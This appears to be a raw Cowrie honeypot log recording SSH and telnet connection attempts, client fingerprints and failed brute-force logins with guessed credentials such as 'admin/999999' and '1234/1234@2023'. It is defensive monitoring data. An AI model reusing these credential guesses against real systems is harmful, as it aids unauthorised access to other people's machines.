256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:46.094137Z","src_ip":"159.203.92.129","session":"fee38f8325ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234@2022","message":"login attempt [1234/1234@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:46.114368Z","src_ip":"159.203.92.129","session":"fee38f8325ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:47.124624Z","src_ip":"159.203.92.129","session":"fee38f8325ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":58502,"dst_ip":"10.17.0.5","dst_port":22,"session":"507f38340d47","protocol":"ssh","message":"New connection: 171.25.158.70:58502 (10.17.0.5:22) [session: 507f38340d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:12.304651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:12.309501Z","src_ip":"171.25.158.70","session":"507f38340d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:12.415443Z","src_ip":"171.25.158.70","session":"507f38340d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demouser","password":"demouser@2024","message":"login attempt [demouser/demouser@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:12.903669Z","src_ip":"171.25.158.70","session":"507f38340d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:14.011837Z","src_ip":"171.25.158.70","session":"507f38340d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52504,"dst_ip":"159.203.135.109","dst_port":22,"session":"99ea5b6a92be","protocol":"ssh","message":"New connection: 159.203.92.129:52504 (159.203.135.109:22) [session: 99ea5b6a92be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:27.323117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:27.327982Z","src_ip":"159.203.92.129","session":"99ea5b6a92be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:27.332551Z","src_ip":"159.203.92.129","session":"99ea5b6a92be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234@2023","message":"login attempt [1234/1234@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:27.348844Z","src_ip":"159.203.92.129","session":"99ea5b6a92be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:28.361877Z","src_ip":"159.203.92.129","session":"99ea5b6a92be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.221.139.48","src_port":48704,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6e5621f1158","protocol":"ssh","message":"New connection: 8.221.139.48:48704 (159.203.135.109:22) [session: e6e5621f1158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:29.569609Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:32.821735Z","src_ip":"8.221.139.48","session":"e6e5621f1158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.221.139.48","src_port":48708,"dst_ip":"159.203.135.109","dst_port":22,"session":"919ef3f1af42","protocol":"ssh","message":"New connection: 8.221.139.48:48708 (159.203.135.109:22) [session: 919ef3f1af42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:32.975221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:32.980220Z","src_ip":"8.221.139.48","session":"919ef3f1af42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:33.135473Z","src_ip":"8.221.139.48","session":"919ef3f1af42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:35:33.601710Z","src_ip":"8.221.139.48","session":"919ef3f1af42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":42360,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a7717b2b138","protocol":"ssh","message":"New connection: 171.25.158.70:42360 (10.17.0.5:22) [session: 5a7717b2b138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:04.413614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:04.420139Z","src_ip":"171.25.158.70","session":"5a7717b2b138","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:04.534000Z","src_ip":"171.25.158.70","session":"5a7717b2b138","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rustserver","password":"123456","message":"login attempt [rustserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:05.022376Z","src_ip":"171.25.158.70","session":"5a7717b2b138","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:06.196265Z","src_ip":"171.25.158.70","session":"5a7717b2b138","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59206,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9283556e0dc","protocol":"ssh","message":"New connection: 159.203.92.129:59206 (159.203.135.109:22) [session: f9283556e0dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:09.261516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:09.266547Z","src_ip":"159.203.92.129","session":"f9283556e0dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:09.271739Z","src_ip":"159.203.92.129","session":"f9283556e0dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234@2024","message":"login attempt [1234/1234@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:09.284349Z","src_ip":"159.203.92.129","session":"f9283556e0dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":44692,"dst_ip":"159.203.135.109","dst_port":23,"session":"0837d1c5518c","protocol":"telnet","message":"New connection: 103.139.59.209:44692 (159.203.135.109:23) [session: 0837d1c5518c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:09.589057Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:10.293759Z","src_ip":"159.203.92.129","session":"f9283556e0dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":44698,"dst_ip":"159.203.135.109","dst_port":23,"session":"73bbefcae7ce","protocol":"telnet","message":"New connection: 103.139.59.209:44698 (159.203.135.109:23) [session: 73bbefcae7ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:12.688696Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":44706,"dst_ip":"159.203.135.109","dst_port":23,"session":"a74066770cd9","protocol":"telnet","message":"New connection: 103.139.59.209:44706 (159.203.135.109:23) [session: a74066770cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:14.653703Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":34562,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0d82afbae40","protocol":"telnet","message":"New connection: 103.139.59.209:34562 (159.203.135.109:23) [session: b0d82afbae40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:16.693482Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":34566,"dst_ip":"159.203.135.109","dst_port":23,"session":"b890dcff2cc3","protocol":"telnet","message":"New connection: 103.139.59.209:34566 (159.203.135.109:23) [session: b890dcff2cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:18.578718Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":34574,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd28512dedcd","protocol":"telnet","message":"New connection: 103.139.59.209:34574 (159.203.135.109:23) [session: fd28512dedcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:20.781882Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":34588,"dst_ip":"159.203.135.109","dst_port":23,"session":"b94f4a0626b1","protocol":"telnet","message":"New connection: 103.139.59.209:34588 (159.203.135.109:23) [session: b94f4a0626b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:22.594042Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":34598,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdde18f76223","protocol":"telnet","message":"New connection: 103.139.59.209:34598 (159.203.135.109:23) [session: bdde18f76223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:23.593667Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":34608,"dst_ip":"159.203.135.109","dst_port":23,"session":"69408956d63f","protocol":"telnet","message":"New connection: 103.139.59.209:34608 (159.203.135.109:23) [session: 69408956d63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:24.616308Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":60260,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad894010c992","protocol":"telnet","message":"New connection: 103.139.59.209:60260 (159.203.135.109:23) [session: ad894010c992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:27.564570Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":60270,"dst_ip":"159.203.135.109","dst_port":23,"session":"c29677a608dd","protocol":"telnet","message":"New connection: 103.139.59.209:60270 (159.203.135.109:23) [session: c29677a608dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:27.607069Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":39824,"dst_ip":"10.17.0.5","dst_port":22,"session":"4de56246b02f","protocol":"ssh","message":"New connection: 27.119.7.6:39824 (10.17.0.5:22) [session: 4de56246b02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:29.683776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:29.689680Z","src_ip":"27.119.7.6","session":"4de56246b02f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:29.874652Z","src_ip":"27.119.7.6","session":"4de56246b02f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"999999","message":"login attempt [admin/999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:30.794725Z","src_ip":"27.119.7.6","session":"4de56246b02f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:31.984638Z","src_ip":"27.119.7.6","session":"4de56246b02f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":60284,"dst_ip":"159.203.135.109","dst_port":23,"session":"14e26e75d039","protocol":"telnet","message":"New connection: 103.139.59.209:60284 (159.203.135.109:23) [session: 14e26e75d039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:34.694234Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":47340,"dst_ip":"159.203.135.109","dst_port":23,"session":"6de2d45e4e5e","protocol":"telnet","message":"New connection: 103.139.59.209:47340 (159.203.135.109:23) [session: 6de2d45e4e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:37.573266Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":47346,"dst_ip":"159.203.135.109","dst_port":23,"session":"0317999afa1b","protocol":"telnet","message":"New connection: 103.139.59.209:47346 (159.203.135.109:23) [session: 0317999afa1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:37.577326Z"}
